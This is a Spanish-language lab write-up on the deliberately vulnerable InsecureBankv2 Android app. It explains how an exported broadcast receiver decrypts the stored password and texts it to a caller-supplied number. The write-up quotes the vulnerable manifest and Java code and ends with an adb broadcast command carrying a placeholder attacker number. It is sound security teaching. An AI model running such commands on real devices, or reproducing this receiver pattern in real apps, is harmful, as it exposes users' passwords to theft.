10- Flawed Broadcast Receivers & Weak change password implementation
Los broadcast son mecanismos de mensajería
Tiene que haber un emisor : sendBroadcast(intent) y un receptor: clase que implementa onReceive(Context, Intent)
- Sistema: Android emite constantemente (batería baja, conectividad cambia, SMS recibido, boot completado, etc.) — cualquier app puede escucharlos si declara el receiver correcto.
- Custom de la app: una app define su propia
actionstring y la emite para comunicarse con otras partes de sí misma, o con otras apps si el broadcast es público.
En el manifest se nos declara uno estático: funciona incluso si la app no está corriendo (el sistema la despierta)
<receiver
android:name="com.android.insecurebankv2.MyBroadCastReceiver"
android:exported="true">
<intent-filter>
<action android:name="theBroadcast"/>
</intent-filter>
</receiver>android:exported="true"> por lo que tiene toda la pinta que cualquier app va a poder usar esa action , cualquier app va a poder lanzar ese broadcast.
En un momento dado del flujo de cambio de contraseña en ChangePassword.java se hace
ChangePassword.this.broadcastChangepasswordSMS(phoneNumber,ChangePassword.this.changePassword_text.getText().toString());El método es este, se envía el teléfono y la nueva contraseña con el broadcast:
public void broadcastChangepasswordSMS(String phoneNumber, String pass) {
if (TextUtils.isEmpty(phoneNumber.toString().trim())) {
System.out.println("Phone number Invalid.");
return;
}
Intent smsIntent = new Intent();
smsIntent.setAction("theBroadcast");
smsIntent.putExtra("phonenumber", phoneNumber);
smsIntent.putExtra("newpass", pass);
sendBroadcast(smsIntent);
}Si nos vamos al onReceive() de la clase
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences("mySharedPreferences", 1);
String username = settings.getString("EncryptedUsername", null);
byte[] usernameBase64Byte = Base64.decode(username, 0);
this.usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
String password = settings.getString("superSecurePassword", null);
CryptoClass crypt = new CryptoClass();
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: " + decryptedPassword + " to: " + newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: " + textPhoneno + " password is: " + textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
return;
} catch (Exception e) {
e.printStackTrace();
return;
}
}
System.out.println("Phone number is null");
}Lo que hace es que envía la contraseña actual guardada en mySharedPreferences al número que le digamos.
Descifra la password real y la manda por SMS al número que decida el atacante.
Pero es que además tampoco se valida que ese número sea el registrado por el usuario anteriormente (Weak change password implementation)
Para ejecutar ese broadcast (cualquier app puede)
adb shell am broadcast \
-a theBroadcast \
--es phonenumber "+34600000000 [NÚMERO DEL ATACANTE]" \
--es newpass "cualquier_valor"Además también podemos hacer sniffing (escuchar los broadcast de los emisores)